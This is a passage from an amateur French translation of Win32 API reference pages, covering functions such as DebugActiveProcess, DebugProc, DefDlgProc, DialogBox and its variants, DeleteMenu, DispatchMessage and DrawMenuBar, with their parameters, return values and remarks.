valide. Pour NT/WIN32 cette fonction peut échouer si le process cible a été créé avec un
descripteur de sécurité lequel refuse au débugger l'accès approprié.

Une fois que le système a vérifié le n°ID du process et décide qu'un attachement valable est
fait, cette  fonction retourne la valeur TRUE. On s'attend alors à ce que le débugger attende
patiemment des 'debugging événements' en employant la fonction WaitForDebugEvent. Le système
suspendra tous les liens du process cible et enverra ces événements en tant que représentation
de l'état actuel du process cible.
Le système enverra au debugger CREATE_PROCESS_DEBUG_EVENT lequel sert à informer que le process
(idProcess) est bien créé et qu'on peut agir sur lui.
Le membre lpStartAddress de la structure CREATE_PROCESS_DEBUG_INFO est NULL.

Pour chaque lien faisant actuellement parti du process cible, le système enverra un
CREATE_THREAD_DEBUG_EVENT au débugger.
Le membre lpStartAddress de la structure CREATE_THREAD_DEBUG_INFO est NULL lui aussi.

Pour chaque DLL actuellement chargé dans l'espace d'adresse du process cible, le système
enverra un LOAD_DLL_DEBUG_EVENTau débugger. Le système prendra des dispositions particulières
pour le premier lien du process pour exécuter une instruction de point de contrôle après qu'il
soit repris. La reprise de ce lien fait en sorte que ce lien primaire retourne à ce qu'il
faisait avant que le débugger ne s'y soit attaché.

Après que tout ça ait été fait, le système reprend tous les liens du process cible. Quand le
premier lien du process reprend, il exécute une instruction de point de contrôle qui provoque
un EXCEPTION_DEBUG_EVENT lequel est envoyé au débugger. Tous les 'debugging événements'
futurs seront envoyés au débugger en employant le mécanisme normal et les règles.

Voir Aussi

CreateProcess, WaitForDebugEvent


DebugBreak (Win32)

VOID DebugBreak(VOID)
La fonction DebugBreak provoque une exception de type BreakPoint (dans le Caller, dans le programme cible en train de se faire debugger). Ceci permet au lien appelant de signaler au programme de mise au point (au debugger) de prendre quelques actions (commencer à faire ce qu'il veut dans la cible). Si le process cible n'est pas en train de se faire debugger, l'Exception standard cherche la logique invoquée. Dans la plupart des cas, ça fera que le process cible se terminera à cause d'une Exception de type BreakPoint non traitée.

Retours

Cette fonction ne retourne aucune valeur.

Voir Aussi

DebugActiveProcess


DebugProc (Win32)

LRESULT CALLBACK DebugProc(nCode, wParam, lParam)

int nCode;	/* code hook */
WPARAM wParam;	/* type de hook qui doit être appelé */
LPARAM lParam;	/* adresse de la structure contenant les informations
              en rapport avec le debogage */
La procédure de hook DebugProc est une fonction callback qu'on définit dans l'application ou une DLL que Windows appelle avant d'appeler les procédures de hook associées à un autre type de hook. Le système passe l'information de hook étant sur le point d'être appelé par la procédure de hook DebugProc, Cette procédure peut examiner l'information et déterminer s'il faut permettre au hook d'être appelé.

Paramètre 	 Description

nCode 	 	 Indique le code de hook. Actuellement, HC_ACTION est la seule valeur positive
         valide. Si ce paramètre est négatif, alors la procédure de hook appelle la
         fonction CallNextHookEx sans nouveau traitement et renvoie la valeur
         retournée par CallNextHookEx.
wParam	 	 Spécifie le type de hook étant sur le point d'être appelé. Ce paramètre peut
         être une des valeurs suivantes :

            Valeur 	 Signification

         WH_CallWndProc  Installe une procédure de hook laquelle espionne les messages
                  envoyés à une procédure de fenêtre. Pour plus d'informations,
                 voyez la description de la procédure de hook CallWndProc.
         WH_CBT 	 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles pour une application (CBT). Pour plus
                 d'informations, voyez la description de la procédure de hook
                 CBTProc.
         WH_DEBUG 	 Installe une procédure de hook, laquelle est utile pour
                  débugger des procédures de hook. Pour plus d'informations,
                 voyez la description de la procédure de hook DebugProc.
         WH_GETMESSAGE 	 Installe une procédure de hook, laquelle espionne les messages
                  qui sont postés dans une file d'attente des messages. Pour
                 plus d'informations, voyez la description de la procédure de
                 hook GetMsgProc.
         WH_JOURNALPLAYBACK 	 Installe une procédure de hook, laquelle poste des
                  messages qui ont été précédemment enregistrés par une
                 procédure de hook WH_JOURNALRECORD. Pour plus d'informations,
                 voyez la description de la procédure de hook JournalPlaybackProc.
         WH_JOURNALRECORD 	 Installe une procédure de hook, laquelle enregistre
                  des messages d'entrée postés dans la file d'attente des
                 messages. Ce hook est utile pour les macros Recording. Pour
                 plus d'informations, voyer la description de la procédure de
                 hook JournalRecordProc.
         WH_KEYBOARD 	 Installe une procédure de hook, laquelle espionne les messages
                  de frappe (clavier). Pour plus d'informations, voyez la
                 description de la procédure dehook KeyboardProc.
         WH_MOUSE 	 Installe une procédure de hook qui espionne les messages
                  souris. Pour plus d'informations, voyez la description de
                 la procédure de hook MouseProc.
         WH_MSGFILTER 	 Installe une procédure de hook, laquelle contrôle les messages
                  produits suite à un événement d'entrée dans une DialogBox,
                 une MessageBox, un Menu, ou une Barre de Défilement. La
                 procédure de hook espionne uniquement les messages de
                 l'application qui a installé la procédure de hook. Pour
                 plus d'informations, voyez la description de la procédure
                 de hook MessageProc.
         WH_SHELL 	 Installe une procédure de hook, laquelle reçoit des messages
                  d'avis qui sont utiles à l'applications Shell. Pour plus
                 d'informations, voyez la description de la procédure de
                 hook ShellProc.
         WH_SYSMSGFILTER Installe une procédure de hook, laquelle espionne les messages
                  produits suite à un événement d'entrée dans une DialogBox,
                 une MessageBox, un Menu, ou une Barre de Défilement. La
                 procédure de hook espionne absolument tous les messages
                 des applications dans le système. Pour plus d'informations,
                 voyez la description de la procédure de hook SysMsgProc.

lParam 	 	 Pointe sur une structure DEBUGHOOKINFO.

Retours
La procédure de hook doit retourner un TRUE pour empêcher le système d'appeler un hook. Autrement, la procédure de hook doit passer l'information de hook à la fonction CallNextHookEx.

Commentaires

L'application doit installer cette procédure de hook en spécifiant le type de filtre WH_DEBUG et l'adresse de l'Instance de procédure de hook en appelant la fonction SetWindowsHookEx.

CallWndProc est un placeholder du nom de la fonction défini dans l'application on une dll. Le nom réel doit être exporté en l'incluant dans une déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, SetWindowsHookEx, DEBUGHOOKINFO


DefDlgProc (Win32)

LRESULT DefDlgProc(hwndDlg, uMsg, wParam, lParam)

HWND hwndDlg;	/* handle de la DialogBox */
UINT uMsg;	/* message */
WPARAM wParam;	/* premier paramètre associé à ce message */
LPARAM lParam;	/* second paramètre associé à ce message */
La fonction DefDlgProc effectue le traitement par défaut de n'importe quels 'Messages de Fenêtre' qu'une DialogBox possédant une 'Class de Fenêtre' privée ne traite pas.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox.
uMsg 	 	 Est le numéro du message.
wParam 	 	 Est une information complémentaire associée à ce messages.
lParam 	 	 Est une information complémentaire associée à ce messages.

Retours

La valeur en retour est le résultat du traitement du message et dépend du message réellement
envoyé.

Commentaires

La fonction DefDlgProc est LA 'procédure de fenêtre' des 'Class de fenêtre' DIALOG (pour les
DialogBox). Pour qu'une application puisse créer de nouvelles 'Class de fenêtre' qui héritent
de ses propres fonctionnalités (ses objets enfants de même types qu'elle), elle doit utiliser
cette fonction. DefDlgProc n'est pas destiné à être appelée en tant que traiteur par défaut
des messages dans la procédure d'une DialogBox.

Une application crée une DialogBox en appelant une des fonctions suivantes :

Fonction 	 	  Description

CreateDialog 	 	  Crée une DialogBox sans modèle.
CreateDialogIndirect 	  Crée une DialogBox sans modèle.
CreateDialogIndirectParam Crée une DialogBox sans modèle et lui passe des données une fois
              qu'elle a été créé.
CreateDialogParam 	  Crée une DialogBox sans modèle et lui passe des données une fois
              qu'elle a été créé.

DialogBox 	 	  Crée une DialogBox prédéfini.
DialogBoxIndirect 	  Crée une DialogBox prédéfini.
DialogBoxIndirectParam 	  Crée une DialogBox prédéfini et lui passe des données une fois
              qu'elle a été créé.
DialogBoxParam 	 	  Crée une DialogBox prédéfini et lui passe des données une fois
              qu'elle a été créé.
Pour créer une nouvelle 'Class de fenêtre' qui hérite des fonctionnalités de la DialogBox première, retrouvez (query) l'information sur la 'Class Dialog' par défaut et créez un sosie de cette Class avec vos propres attributs d'application :
 GetClassInfo (hModule (, LPSTR) DIALOGCLASS, lpWndClass);
 lpWndClass.lpszClassName = "mydialogclass";
 RegisterClass (lpWndClass);
Ou bien, vous pouvez créer votre propre Class directement, pourvu que vous réserviez le nombre approprié d'octets supplémentaires que ces fenêtres de Dialog exigent :
 wndclass.style = 0L;
 ...
 ...
 wndclass.cbWndExtra = DLGWINDOWEXTRA;
 wndclass.lpfnWndProc = DefDlgProc;
 wndclass.lpszClassName = "mydialogclass";
 RegisterClass(&wndclass);

Voir Aussi

DefWindowProc


DeferWindowPos (Win32)

HDWP DeferWindowPos(hdwp, hwnd, hwndInsertAfter, x, y, cx, cy, dwFlags)

HDWP hdwp;		/* handle de la structure interne */
HWND hwnd;		/* handle de la position de la fenêtre */
HWND hwndInsertAfter;	/* handle de l'ordre de placement */
int x;			/* position horizontale */
int y;			/* position verticale */
int cx;			/* largeur */
int cy;			/* hauteur */
UINT dwFlags;		/* flags de positionnement de la fenêtre */
Cette fonction rafraîchi la structure 'position de fenêtres multiples' identifiée par le paramètre hdwp pour la fenêtre identifiée par le paramètre hwnd et renvoie le handle de la structure une fois remise à jour. La fonction EndDeferWindowPos utilise les informations de cette structure pour changer la position et la taille de plusieurs fenêtres simultanément. La fonction BeginDeferWindowPos crée la structure 'position de fenêtre multiple' qui est employée par cette fonction.
Les paramètres x et y spécifient la nouvelle position de la fenêtre et les paramètres cx et cy spécifient la nouvelle taille de la fenêtre.

Paramètre 	 Description

hdwp 	 	 Identifie une structure 'position de fenêtre multiple' laquelle contient la
         taille et les informations sur la position d'une ou plusieurs fenêtres. Cette
         structure est renvoyée par la fonction BeginDeferWindowPos ou bien par l'appel
         le plus récent de cette même fonction DeferWindowPos.
hwnd		 Identifie la fenêtre pour laquelle les informations de remise à jour doivent
         être stockées dans cette structure.
hwndInsertAfter  Identifie la fenêtre à la suite de laquelle la fenêtre identifiée par
         le paramètre hwnd doit être mise à jour.
x	 	 Représente la coordonnée x du coin supérieur-gauche de la fenêtre.
y	 	 Représente la coordonnée y du coin supérieur-gauche de la fenêtre.
cx 	 	 Représente la nouvelle largeur de la fenêtre.
cy 	 	 Représente la nouvelle hauteur de la fenêtre.
dwFlags 	 Représente une des huit valeurs possibles qui affectent la taille et la
         position d'une fenêtre. Ce paramètre peut être une combinaison des valeurs
         suivantes :

         Valeur 	 Signification

         SWP_DRAWFRAME 	 Dessine un encadrement (défini dans la description class de
                  la fenêtre) autour de la fenêtre.
         SWP_HIDEWINDOW  Cache la fenêtre.
         SWP_NOACTIVATE  N'active pas la fenêtre.
         SWP_NOMOVE 	 Conserve la position actuelle (ignore les paramètres x et y).
         SWP_NOREDRAW 	 Ne rafraîchi pas la fenêtre.
         SWP_NOSIZE 	 Conserve la taille actuelle (ignore les paramètres cx et cy).
         SWP_NOZORDER 	 Conserve l'ordre actuel (ignore le paramètre hwndInsertAfter).
         SWP_SHOWWINDOW  Affiche la fenêtre.
Retours

La valeur en retour identifie la structure de données 'position de fenêtres multiples' une fois remise à jour. Le handle renvoyé par cette fonction peut différer du handle passé à la fonction (hdwp). On doit passer ce nouvel handle au suivant Call DeferWindowPos ou au Call EndDeferWindowPos.
La valeur en retour est NULL si les ressources du système sont insuffisantes.

Commentaires

Si le flag SWP_NOZORDER n'est pas spécifié, Windows place la fenêtre identifiée par le paramètre hwnd à la position suivante de la fenêtre identifiée par le paramètre hwndInsertAfter. Si hwndInsertAfter est NULL, Windows place la fenêtre identifiée par hwnd au sommet de la liste (par dessus toutes les fenêtres MDI).

Si hwndInsertAfter est mis à 1, Windows place la fenêtre identifiée par hwnd à fond de cale sous la pile des fenêtres.

Cette déclaration est incorrecte; si ces deux flags sont mis, DeferWindowPos ni déplacera ni ne redéfinira pas la taille des fenêtres. Utilisez la fonction ShowWindow pour afficher ou cacher les fenêtres.
Si le Flag SWP_ShowWindow ou bien le flag SWP_HIDEWINDOW sont mis, la fonction DeferWindowPos ne déplacera ni ne redéfinira pas la taille des fenêtres. Utilisez la fonction ShowWindow pour montrer ou cacher les fenêtres.

Toutes les coordonnées des fenêtres enfants sont définis par rapport au coin supérieur-gauche du secteur client de la fenêtre parente.

Voir Aussi

BeginDeferWindowPos, EndDeferWindowPos


DefHookProc (Win32)

DWORD DefHookProc(nCode, wParam, lParam, lplpfnNextHook)

int nCode;	/* le code de hook à passer à la procédure de hook */
DWORD wParam;	/* paramètre à passer à la procédure de hook */
LONG lParam;	/* paramètre à passer à la procédure de hook */
FARPROC *lplpfnNextHook;	/* non ustilisé */
La fonction DefHookProc est désormait désuète, mais elle a été conservée pour des raisons de compatibilité avec les vieilles version de Windows 3.0 et plus antérieures encore. Les applications écrites pour la version de Windows 3.2 et suivantes doivent employer la fonction CallNextHookEx.
La fonction DefHookProc passe l'information de hook à la procédure de hook suivante dans la chaîne de hook courante.

Paramètre 	 Description

nCode 	 	 est le code de hook à passer à la procédure de hook courante. La procédure
         de hook suivante utilise ce code pour déterminer comment traiter l'information
         du hook.
wParam 	 	 ce paramètre wParam est passé à la procédure de hook courante. La
         signification de ce paramètre dépend du type de hook associé à la chaîne de
         hook courante.
lParam 	 	 Ce paramètre lParam est passé à la procédure de hook. La signification de ce
         paramètre dépend du type de hook associé à la chaîne de hook courante.
lplpfnNextHook 	 Ce paramètre n'est pas employé dans les programme Win32.

Retours
La valeur en retour est la valeur retournée par la procédure de hook suivante dans la chaîne. La procédure de hook courante doit aussi retourner cette valeur. La signification de la valeur de retour dépend du type de hook. Pour plus d'information, voyez les descriptions des procédures de hook une à une.

Voir Aussi

SetWindowsHook, UnhookWindowsHook


DefWindowProc

La fonction DefWindowProc appelle la procédure de fenêtre par défaut laquelle sert au traitement de n'importe quel message de fenêtre q'une application ne traite pas. Cette fonction assure que chaque message soit traité. DefWindowProc est appelé avec les mêmes paramètres reçus par la procédure de fenêtre.

LRESULT DefWindowProc (
hWnd hWnd, // handle de la fenêtre
UINT Message, // identificateur du message
wParam wParam, // premier paramètre de message
LPARAM LPARAM // deuxième paramètre de message
);

Paramètres

hWnd

Identifie la procédure de fenêtre qui a reçu le message.

Message

Indique le message.

wParam

Spécifie l'information de message complémentaire. Le contenu de ce paramètre dépend de la valeur du paramètre du Message.

lParam

Spécifie l'information de message complémentaire. Le contenu de ce paramètre dépend de la valeur du paramètre du Message.

Valeurs de Retour

La valeur en retour est le résultat du traitement du message et dépend du message.


DeleteMenu

La fonction DeleteMenu supprime l'item spécifié. Si cet item ouvre lui-même un menu ou un sous-menu, cette fonction détruit également l'handle du menu ou du sous-menu et libère la mémoire employée par le menu ou le sous-menu.

BOOL DeleteMenu(

HMENU hMenu, // handle du menu
UINT uPosition, // n°ID de l'Item du Menu ou bien son n° de position
UINT uFlags // flag attribué à un item
);

Paramètres

hMenu
Identifie le menu concerné.

uPosition
Spécifie l'Item (de ce menu) qui doit être supprimé, la signification de ce n° dépend de uFlags.

uFlags
Indique comment le paramètre uPosition est interprété. Ce paramètre doit être une des valeurs suivantes :
     Valeur 	 Signification
     MF_BYCOMMAND 	 Indique qu'uPosition représente le n°ID de l'Item (du menu).
              MF_BYCOMMAND est le Flag par défaut si ni lui-même ni
             MF_BYPOSITION n'ont étés spécifiés.
     MF_BYPOSITION 	 Indique qu'uPosition donne la position zéro-basée de l'item.
              (Zéro-basé signifie simplement que le premier Item du menu à
             la position 0, le second Item possède la position 1 et ainsi de
             suite...)

Valeurs en Retour

Si la fonction réussit, la valeur de retour est différente dezéro.
Si la fonction échoue, la valeur de retour est zéro. Pour obtenir l'information sur l'erreur étendue, appelez GetLastError.

Remarques

L'application doit appeler la fonction DrawMenuBar chaque fois qu'un changements survient sur le menu, dès lors que le menu est déjà affiché dans une fenêtre.

Voir Aussi

DrawMenuBar, RemoveMenu


DestroyMenu

La fonction DestroyMenu détruit le menu indiqué et libère la totalité de le mémoire que ce menu occupe.

BOOL DestroyMenu (

hMenu hMenu // handle du menu à détruire
);

Paramètres

hMenu
Identifie le menu à détruire.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est différente de zéro.
Si la fonction échoue, la valeur en retour est zéro. Pour obtenir l'information sur l'erreur étendue, appelez GetLastError.

Remarques

Avant sa propre fermeture, une application doit employer la fonction DestroyMenu pour détruire un menu si il n'est pas assigné à une de ses fenêtres (Fuite de Ressources). Un menu qui est assigné à une fenêtre est automatiquement détruit lorsque l'application se ferme.

Voir Aussi

CreateMenu, DeleteMenu, RemoveMenu


DestroyWindow (Win32)

BOOL DestroyWindow(hwnd)

HWND hwnd;	/* handle de la fenêtre à détruire */
Cette fonction détruit la fenêtre indiquée. La fonction DestroyWindow cache ou ferme de manière permanente la fenêtre, en envoyant les messages appropriés à la fenêtre pour la désactiver et enlever le centre clavier (le focus). Elle détruit aussi le menu de la fenêtre, fait un nettoyage complet dans la file d'attente de l'application de tout ce qui concerne cette fenêtre, détruit les Timers en suspens, enlève la propriété du presse-papiers et brise la chaîne de visionneuse du presse-papiers si la fenêtre est au sommet de la chaîne de visionneuse. Elle envoie les messages WM_DESTROY et WM_NCDESTROY à la fenêtre.
Si la fenêtre donnée est une fenêtre parente, ses fenêtres enfants sont automatiquement détruites en même temps qu'elle. DestroyWindow détruit les fenêtres enfants en premiers et ensuite la fenêtre elle-même.
DestroyWindow détruit aussi les DialogBox n'ayant pas été créées par la fonction CreateDialog.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre à détruire.

Retours
La valeur en retour indique si la fenêtre indiquée est réellement détruite. Cette valeur sera non-nulle si la fenêtre est détruite. Autrement, c'est zéro.

Commentaires

Si un lien crée une fenêtre, seul ce lien à la permission de la détruire en appelant DestroyWindow. Aucun autre lien de ce process n'a la possibilité de le faire. Ça peut se produire à l'intérieur d'une procédure de fenêtre ou à l'extérieur de la boucle des messages. Ce n'est pas une règle générale par rapport aux liens et objets qu'ils créent; actuellement ça ne s'applique qu'aux objets des fenêtres.

Voir Aussi

CreateDialog, CreateWindow, WM_DESTROY, WM_NCDESTROY


DialogBox (Win32)

int DialogBox(hinst, lpTemplateName, hwndOwner, dlgprc)

HANDLE hinst;		/* handle de l'application */
LPCTSTR lpTemplateName;	/* identifie le Template de la DialogBox */
HWND hwndOwner;		/* handle de la fenêtre parente */
DLGPROC dlgprc;		/* adresse de la procédure de Dialog */
Cette fonction crée une DialogBox de modèle prédéfini. Sa taille, son style et Ses Controls sont définis dans le Template(calibre) de la DialogBox donné par le paramètre lpTemplateName. Le paramètre hwndOwner identifie la fenêtre parente qui possède la DialogBox. La fonction callback pointée par le paramètre dlgprc effectue les traitement de n'importe quels messages reçus par la DialogBox.
La fonction DialogBox ne redonne pas le contrôle (la main) avant que la fonction callback n'ait terminée(détruite) la DialogBox prédéfini en appelant la fonction EndDialog.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou une dll), lequel contient la ressource
         Template de la DialogBox. La fonction GetModuleHandle peut être appelée pour
         retrouver le Handle du module du process actuel.
lpTemplateName 	 Identifie le Template(calibre) de la DialogBox. Ce paramètre est
         constitué du n°ID du Template dans le WORD de poids faible alors que le WORD
         de poids fort est mis à zéro. La macro MAKEINTRESOURCE peut être employée
         pour créer cette valeur. Ou bien alors, ce paramètre peut pointer sur une
         chaîne de caractères terminée par un nul, laquelle n'est autre que le nom
         du Template de la DialogBox.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (Sa fenêtre parente, si elle
         en possède une)
dlgprc 	 	 Spécifie l'adresse de la procédure de Dialog. Pour plus d'informations à
         propos de la procédure de Dialog, voyez la description de la fonction
         callback DialogProc.

Retours
La valeur en retour est la valeur du paramètre nResult de la fonction EndDialog qui est employée pour terminer (détruire) la DialogBox. Les valeurs retournées par la DialogBox de l'application sont traitées par Windows et ne sont pas renvoyées à l 'application. La valeur en retour est -1 si la fonction n'a pas pue créer la DialogBox.

Commentaires

La fonction DialogBox peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

CreateDialog, CreateDialogIndirect, CreateDialogParam, CreateDialogIndirectParam, DialogBoxParam, DialogBoxIndirectParam, DialogProc, EndDialog, GetDC


DialogBoxIndirect (Win32)

int DialogBoxIndirect(hinst, hDialogTemplate, hwndOwner, dlgprc)

HANDLE hinst;			/* handle de l'application */
LPDLGTEMPLATE hDialogTemplate;	/* handle du Template de la DialogBox */
HWND hwndOwner;			/* handle de la fennêtre parente */
DLGPROC dlgprc;			/* adresse de la Procédure de Dialog */
Cette fonction crée la DialogBox prédéfini dont sa taille, son style et ses Controls sont définis dans le Template pointé par le paramètre hDialogTemplate. Le paramètre hwndOwner identifie la fenêtre parente qui possède cette DialogBox. La fonction callback indiquée par dlgprc traite n'importe quels messages reçus par la DialogBox. La fonction DialogBoxIndirect ne repasse pas la main, tant que la fonction callback n'ait terminée la construction de cette DialogBox prédéfini en appelant la fonction EndDialog.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou la dll) qui contient le Template
         (le calibre) en tant que ressource pour cette DialogBox.
hDialogTemplate  Identifie un bloc de mémoire Global, lequel contient une structure DLGTEMPLATE.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (son parent, si elle en a une)
dlgprc 	 	 Spécifie l'adresse de la procedure-instance de la fonction Dialog. Pour plus
         d'informations à propos de la procédure de la DialogBox, voyez la description
         de la fonction callback DialogProc.

Retours
La valeur en retour spécifie la valeur du paramètre wResult indiqué dans la fonction EndDialog qui est employée pour terminer la DialogBox. Les valeurs retournées par la DialogBox sont traitées par Windows et ne sont pas retournées à l'application. La valeur de retour est -1 si la fonction n'a pas pu créer la DialogBox.

Voir Aussi

CreateDialog, CreateDialogIndirect, CreateDialogParam, CreateDialogIndirectParam, DialogBoxParam, DialogBoxIndirectParam, DialogProc, EndDialog, DLGTEMPLATE


DialogBoxIndirectParam (Win32)

int DialogBoxIndirectParam(hinst, hDialogTemplate, hwndOwner, dlgprc, lInitParam)

HANDLE hinst;			/* handle de l'application */
LPDLGTEMPLATE hDialogTemplate;	/* handle du Template de la DialogBox */
HWND hwndOwner;			/* handle de la fennêtre parente */
DLGPROC dlgprc;			/* adresse de la Procédure de Dialog */
LPARAM lInitParam;		/* valeur d'initialisation */
Cette fonction crée une DialogBox de modèle prédéfini, envoie un message WM_INITDIALOG à la fonction de Dialog (la procédure de Dialog) avant de l'afficher à l'écran et passe lInitParam en tant que message lParam. Ce message permet à la fonction de Dialog d'initialiser les Controls de DialogBox (ses boutons et autres…).
Pour plus d'informations sur la création d'une DialogBox prédéfini, voyez la description de la fonction DialogBoxIndirect.

Paramètre 	 Description

hinst 	 	 Identifie le module (l'application ou la dll) qui contient le Template
         (le calibre) en tant que ressource pour cette DialogBox.
hDialogTemplate  Identifie un bloc de mémoire Global, lequel contient une structure DLGTEMPLATE.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (son parent, si elle en a une)
dlgprc 	 	 Spécifie l'adresse de la procedure-instance de la fonction Dialog. Pour plus
         d'informations à propos de la procédure de la DialogBox, voyez la description
         de la fonction callback DialogProc.
lInitParam 	 Est une valeur que DialogBoxIndirectParam passe en tant que paramètre lParam
         en association avec un message WM_INITDIALOG pour la 'Fonction de Dialog ' (la
         procédure de Dialog) lorsqu'elle crée la DialogBox.

Retours
La valeur en retour spécifie la valeur du paramètre wResult indiqué dans la fonction EndDialog qui est employée pour terminer la DialogBox. Les valeurs retournées par la DialogBox sont traitées par Windows et ne sont pas retournées à l'application. La valeur de retour est -1 si la fonction n'a pas pu créer la DialogBox.

Voir Aussi

CreateDialog, CreateDialogIndirect, CreateDialogParam, CreateDialogIndirectParam, DialogBoxIndirect, DialogBoxParam, DialogProc, EndDialog, WM_INITDIALOG, DLGTEMPLATE


DialogBoxParam (Win32)

int DialogBoxParam(hinst, lpTemplateName, hwndOwner, dlgprc, lInitParam)

HANDLE hinst;			/* handle de l'instance de l'application */
LPDLGTEMPLATE hDialogTemplate;	/* handle du Template de la DialogBox */
HWND hwndOwner;			/* handle de la fennêtre parente */
DLGPROC dlgprc;			/* adresse de la Procédure de Dialog */
LPARAM lInitParam;		/* valeur d'initialisation */
Cette fonction crée une DialogBox de modèle prédéfini, envoie un message WM_INITDIALOG à la fonction de Dialog (la procédure de Dialog) avant de l'afficher à l'écran et passe lInitParam en tant que message lParam. Ce message permet à la fonction de Dialog d'initialiser les Controls de DialogBox (ses boutons et autres...).
Pour plus d'informations sur la création d'une DialogBox prédéfini, voyez la description de la fonction DialogBox.

hinst 	 	 Identifie le module (l'application ou une dll) qui crée la fenêtre de Dialog.
         GetModuleHandle peut être appelée pour retrouver le Handle du module du
         process actuel.
lpTemplateName 	 Pointe sur une chaîne de caractères, laquelle et le nom du Template de
         la Dialogbox. Cette chaîne de caractères doit se terminée par un nul.
hwndOwner 	 Identifie la fenêtre qui possède la DialogBox. (son parent, si elle en a une)
dlgprc 	 	 Spécifie l'adresse de la procedure-instance de la fonction Dialog. Pour plus
         d'informations à propos de la procédure de la DialogBox, voyez la description
         de la fonction callback DialogProc.
lInitParam 	 Est une valeur que DialogBoxIndirectParam passe en tant que paramètre lParam
         en association avec un message WM_INITDIALOG pour la 'Fonction de Dialog ' (la
         procédure de Dialog) lorsqu'elle crée la DialogBox.

Retours
La valeur en retour spécifie la valeur du paramètre nResult indiqué dans la fonction EndDialog qui est employée pour terminer la DialogBox. Les valeurs retournées par la DialogBox sont traitées par Windows et ne sont pas retournées à l'application. La valeur de retour est -1 si la fonction n'a pas pu créer la DialogBox.

Voir Aussi

DialogBox, DialogProc, EndDialog, WM_INITDIALOG


DialogProc (Win32)

LRESULT CALLBACK DialogProc(hDlg, wMsg, wParam, lParam)

HWND hDlg;	/* handle de la DialogBox */
UINT wMsg;	/* message */
WPARAM wParam;	/* premier paramètre associé à ce message */
LPARAM lParam;	/* second paramètre associé à ce message */
La fonction DialogProc est une fonction callback qu'on défini dans l'application qui traite les messages envoyés à une DialogBox non-prédéfini (non standardisée) (voir les fonctions CreateDialog...).

Paramètre 	 Description

hDlg 	 	 Identifie la DialogBox.
wMsg 	 	 Spécifie le message.
wParam 	 	 Est une information complémentaire à ce message. Le contenu de ce paramètre
         dépend du message envoyé.
lParam 	 	 Est une information complémentaire à ce message. Le contenu de ce paramètre
         dépend du message envoyé.

Retours
A part le cas où elle répond au message WM_INITDIALOG, cette procédure de Dialog doit retourner une valeur non nulle si elle traite le message et un NULL si elle n'a pas réussit à le traiter. En réponse à un message WM_INITDIALOG, cette (fonction) procédure de Dialog doit retourner un NULL si elle appelle la fonction SetFocus pour donner le centre d'entrée (le Focus) à un de ses Controls (un de ses boutons ou zone de saisie de texte (EditControl)). Autrement, elle doit retourner une valeur non-nulle, dans le cas où le système donnera le Focus au premier Control de la DialogBox.

Commentaires

Cette (fonction) procédure de Dialog est seulement utilisée si la Class de Dialog est employée pour la DialogBox. C'est cette Class qui est prise par défaut et est employée si on n'en définit pas une autre (Class) explicitement dans le Template de la DialogBox. Bien que la procédure de Dialog soit semblable à une procédure de fenêtre, elle ne doit pas appeler la fonction DefWindowProc pour traiter des messages indésirables. Les messages indésirables sont traités intérieurement par la procédure de fenêtre de le Class de Dialog.

DialogProc est un placeholder du nom de la fonction fourni par l'application.

Voir Aussi

CreateDialog, CreateDialogIndirect, CreateDialogIndirectParam, CreateDialogParam, DefWindowProc, SetFocus, WM_INITDIALOG


DispatchMessage

La fonction DispatchMessage expédie un message à une procédure de fenêtre. Typiquement, on l'emploie pour expédier un message retrouvé par la fonction GetMessage.

LONG DispatchMessage(
CONST MSG *lpmsg // pointe sur la structure du message
);

Paramètres

lpmsg

Pointe sur une structure de MESSAGE qui contient le message.

Valeurs de Retour

La valeur en retour est la valeur renvoyée par la procédure de fenêtre. Bien que sa signification dépende du message ayant été expédié, la valeur de retour est généralement ignorée.

Remarques

La structure de MESSAGE doit contenir des valeurs de message valables. Si le paramètre lpmsg indique un message WM_TIMER et que le paramètre lParam (du message WM_TIMER) n'est pas NULL, alors lParam pointe sur une fonction qui sera appelée à la place de la procédure de fenêtre.


DosDateTimeToFileTime (new Win32)

BOOL DosDateTimeToFileTime(wDOSDate, wDOSTime, lpft)

WORD wDOSDate;	/* date MS-DOS 16-bit */
WORD wDOSTime;	/* temps MS-DOS 16-bit */
LPFILETIME lpft;	/* adresse du buffer de temps pour un fichier 64-bit */
La fonction DosDateTimeToFileTime convertit une date MS-DOS et les valeurs de temps en un temps destiné à un fichier 64 bits.
Paramètre 	 Description

wDOSDate 	 Pointe sur la date MS-DOS. La date est une valeur 16 bits ayant le format
         suivant :

         Bits 	 Contenu

         0-4	 Jour du mois (1-31)
         5-8	 Mois (1=janvier, 2=février, etc)
         9-15	 Année, avec comme référence 0 l'année 1980 (ajoutez 1980 pour obtenir
              l'année réelle)

wDOSTime 	 Pointe su le temps MS-DOS. Le temps est une valeur 16 bits ayant le format
         suivant :

         Bits 	 Contenu

         0-4	 Seconde divisée par 2 (0.5s)
         5-10	 Minute (0-59)
         11-15	 Heure (0-23 sur une horloge de 24 heures)

lpft 	 Pointer sur le temps du fichier converti en 64 bits  (C'est la structure FILETIME).
Retours

La valeur en retour est TRUE si la fonction était couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir l'information à propos de l'erreur étendue.

Voir Aussi

FileTimeToDosDateTime, FileTimeToSystemTime, SystemTimeToFileTime


DrawMenuBar

La fonction DrawMenuBar rafraîchit la barre du menu de la fenêtre indiquée. Si des changements ont étés faits sur le menu d'une Fenêtres (comme une insertion d'Item) après que la fenêtre ait affichée le menu pour la première fois, cette fonction doit être appelée pour redessiner la barre du menu qui a changée.

BOOL DrawMenuBar (

hWnd hWnd // handle de la fenêtre possédant la barre de menu à rafraîchir.
);

Paramètres

hWnd
Identifie la fenêtre dont la barre de menu a besoin d'être redessinée.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est différente de zéro.
